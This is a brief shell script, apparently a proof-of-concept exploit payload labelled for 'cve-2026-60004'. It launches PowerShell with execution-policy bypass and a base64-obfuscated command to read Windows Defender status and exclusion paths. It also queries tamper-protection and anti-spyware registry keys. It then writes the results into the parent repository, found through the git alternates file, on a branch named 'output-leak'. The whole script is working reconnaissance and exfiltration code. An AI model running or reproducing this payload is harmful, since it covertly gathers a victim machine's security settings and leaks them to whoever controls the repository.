#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$(echo ===POWERSHELL_STATUS===; /c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBNAHAAQwBvAG0AcAB1AHQAZQByAFMAdABhAHQAdQBzACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIABBAE0AUwBlAHIAdgBpAGMAZQBFAG4AYQBiAGwAZQBkACwAQQBNAFIAdQBuAG4AaQBuAGcATQBvAGQAZQAsAEEAbgB0AGkAcwBwAHkAdwBhAHIAZQBFAG4AYQBiAGwAZQBkACwAQQBuAHQAaQB2AGkAcgB1AHMARQBuAGEAYgBsAGUAZAAsAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAEUAbgBhAGIAbABlAGQALABJAG8AYQB2AFAAcgBvAHQAZQBjAHQAaQBvAG4ARQBuAGEAYgBsAGUAZAAsAE4ASQBTAEUAbgBhAGIAbABlAGQALABPAG4AQQBjAGMAZQBzAHMAUAByAG8AdABlAGMAdABpAG8AbgBFAG4AYQBiAGwAZQBkACwAUgBlAGEAbABUAGkAbQBlAFAAcgBvAHQAZQBjAHQAaQBvAG4ARQBuAGEAYgBsAGUAZAAsAEkAcwBUAGEAbQBwAGUAcgBQAHIAbwB0AGUAYwB0AGUAZAAsAEQAZQBmAGUAbgBkAGUAcgBTAGkAZwBuAGEAdAB1AHIAZQBzAE8AdQB0AE8AZgBEAGEAdABlACwAUQB1AGkAYwBrAFMAYwBhAG4AQQBnAGUALABGAHUAbABsAFMAYwBhAG4AQQBnAGUAIAB8ACAARgBvAHIAbQBhAHQALQBMAGkAcwB0ADsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcALQAtAC0ARQBYAEMATABVAFMASQBPAE4AUwAtAC0ALQAnADsAIABHAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEUAeABwAGEAbgBkAFAAcgBvAHAAZQByAHQAeQAgAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgA 2>&1; echo ===REG_FEATURES===; /c/WINDOWS/System32/reg.exe query "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection 2>&1; /c/WINDOWS/System32/reg.exe query "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware 2>&1; /c/WINDOWS/System32/reg.exe query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /s 2>&1; echo ===DONE=== 2>&1; echo "[exit-status=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
#A